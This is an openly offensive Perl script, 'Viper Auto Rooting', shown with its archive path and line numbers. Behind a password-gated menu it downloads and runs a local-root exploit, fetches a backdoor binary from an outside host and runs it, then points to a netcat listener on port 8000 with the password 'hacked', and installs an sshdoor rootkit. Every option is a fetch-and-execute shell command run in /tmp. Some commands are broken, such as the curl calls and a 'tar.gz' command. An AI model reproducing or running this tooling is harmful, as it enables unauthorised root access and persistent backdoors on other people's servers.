./c0de/perl/Viper_Auto_Rooting.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
#!/usr/bin/perl -w
#
#
#                        +--------------------+
#                          Viper Auto Rooting
#                       +--------------------+
#
#
#
#            program info :
#
#                This Program Is Private
#                Code : perl
#                Contact: Bl4ck.Viper
#                Email : [email protected]
#                
#                
#
#
#                
#
#
#            Description :
#
#                This Program Can  :
#
#                1:Rooting
#                2:Install Backdoor
#                3:Install Rootkit , After Rooting
#
#
#----------------------------------------------------------------------------------+|
print "Enter Password :";
$dl =log <STDIN>;
if ($dl =~ /8.90340751993226/){
print "\t\t[+]--->Viper Auto Rooting<---[+]\n";
print "\t\t[+]-->Coded By Bl4ck.viper<--[+]\n";
print "\t\t[+]--->For My Best Friend<---[+]\n";
    print "[+]Menu :\n";
    print "\t[-]1:Rooting\n";
    print "\t[-]2:install backdoor\n";
    print "\t[-]3:install rootkit , after rooting\n";
    print "\n";
print "Please Select 1,2,3 ? :";
    $userselect = <STDIN>;
 
    if ($userselect==1){&rooting}
 
    if ($userselect==2){&backdoor}
 
    if ($userselect==3){&rootkit}
 
sub rooting
{
print "\t\t[:]Welcome To Rooting Section\n";
 
    print "Please Insert Localroot Directore [e:g http://www.example.com/localroots]:";
$userdir = <STDIN>;
    print "Please Insert Localroot Name In $userdir Directore [e:g /h00lyshit]:";
$userlocalroot = <STDIN>;
$userdl = $userdir.$userlocalroot;
    print " Your Address Is $userdl ? => y/n :";
        $useraddress = <STDIN>;
        if ($useraddress =~ /y/) {
    print " \tLets Go ...\n";
    if (-x "/usr/bin/wget"){
system ("cd /tmp;mkdir bl4ck.viper;chmod 777 bl4ck.viper;cd bl4ck.viper;wget $userdl;chmod 777 $userlocalroot;./$userlocalroot");
    print "Done!";
system ("id");
}
    else {
    print "Cannot Download Your Local Root With Wget Method !
 
                        We Are Gonna Use Curl Method ;) \n
        ";
        }
        if (-x "/usr/bin/curl") {
system ("cd /tmp;mkdir bl4ck.viper;chmod 777 bl4ck.viper;cd bl4ck.viper;curl -o userdl;chmod 777 $userlocalroot;./$userlocalroot");
        print "Done!";
system ("id");
        }
        else {
            print "Cannot Download Your Local Root With Curl Method
 
                        We Are Gonna lwp-download Method ;)
        ";
        }
        if (-x "/usr/bin/lwp-download"){
system ("cd /tmp;mkdir bl4ck.viper;chmod 777 bl4ck.viper;cd bl4ck.viper;lwp-download -a userdl;chmod 777 $userlocalroot;./$userlocalroot");
        print "Done!";
system("id");
        }
        else {
            print "Cannot Download Your Local Root With Any Of Method ! :(";
            exit();
        }
        }
 
 
        else {
            if ($useraddress =~ /n/) {
                print "\t\tPlease Repair Address And Try Again ;)"
            }
        }
}
 
sub backdoor
{
print "\t\t[:]Welcome To Backdoor Section\n";
    print "Are You Ready To Start Install Backdoor ? y/n:";
    $userbss =<STDIN>;
    if ($userbss =~ /y/){
 
    print "\tTest Wget Method ...\n\n";
    if (-x "/usr/bin/wget") {
system ("cd /tmp;mkdir bl4ck.viper-2;chmod 777 bl4ck.viper-2;cd bl4ck.viper-2;wget http://bl4ck-viper.persiangig.com/Toolz/backdoor;chmod 777 backdoor;./backdoor");
    print "Done!";
    print "Can You Cannect To Server With NC At 8000 Port.Port Password Is =hacked";
    }
    else{
        print "Cannot Download Backdoor With Wget Method!
 
                    We Are Gonna Use Curl Method ;)\n";
    }
    if (-x "/usr/bin/curl"){
system ("cd /tmp;mkdir bl4ck.viper-2;chmod 777 bl4ck.viper-2;cd bl4ck.viper-2;curl -o http://bl4ck-viper.persiangig.com/Toolz/backdoor;chmod 777 backdoor;./backdoor");
    print "done!";
    print "Can You Cannect To Server With NC At 8000 Port.Port Password Is ->hacked";  
    }
    else {
        print "Cannot Download Backdoor With Curl Method!
 
                    We Are Gonna Use lwp-download Method ;)\n";
    }
    if (-x "/usr/bin/lwp-download"){
system ("cd /tmp;mkdir bl4ck.viper-2;chmod 777 bl4ck.viper-2;cd bl4ck.viper-2;lwp-download -a http://bl4ck-viper.persiangig.com/Toolz/backdoor;chmod 777 backdoor;./backdoor");
    print "Done!";
    print "Can You Cannect To Server With NC At 8000 Port.Port Password Is =hacked";
    }
    else{
        print "Cannot Download Backdoot Whit Any Method :(\n";
    }
    }
    if ($userbss =~ /n/){
        print "OK !";
        exit();
    }
}
sub rootkit
{
print "\t\t[:]Welcome To Rootkit Section\n";
print "Are You Root NOW ? y/n:";
$sr =<STDIN>;
    if($sr =~ /y/){
        print "Please Insert Password For Rootkit:";
        $rp =<STDIN>;
        print "Please Insert Port For Rootkit:";
        $rpo =<STDIN>;
        if(-x "/usr/bin/wget"){
            system ("cd /tmp;wget http://bl4ck-viper.persiangig.com/Toolz/rootkit.tar.gz;chmod 777 rootkit.tar.gz;tar.gz -zxvfw rootkit.tar.gz;cd sshdoor;./install $rp $rpo");
            print "Done!\n";
            print "You Can Connect To Server ;)\n";
        }
        else{
            print "\tCannot Install Rootkit ! Please Check Access Next Install Rootkit\n";
        }
 
    }
    if ($sr =~ /n/){
        print "First Rooting Next Install Rottkit\n";
    }
 
 
}
}
else {
    print "Password Is Incorrect!"
}
 

Back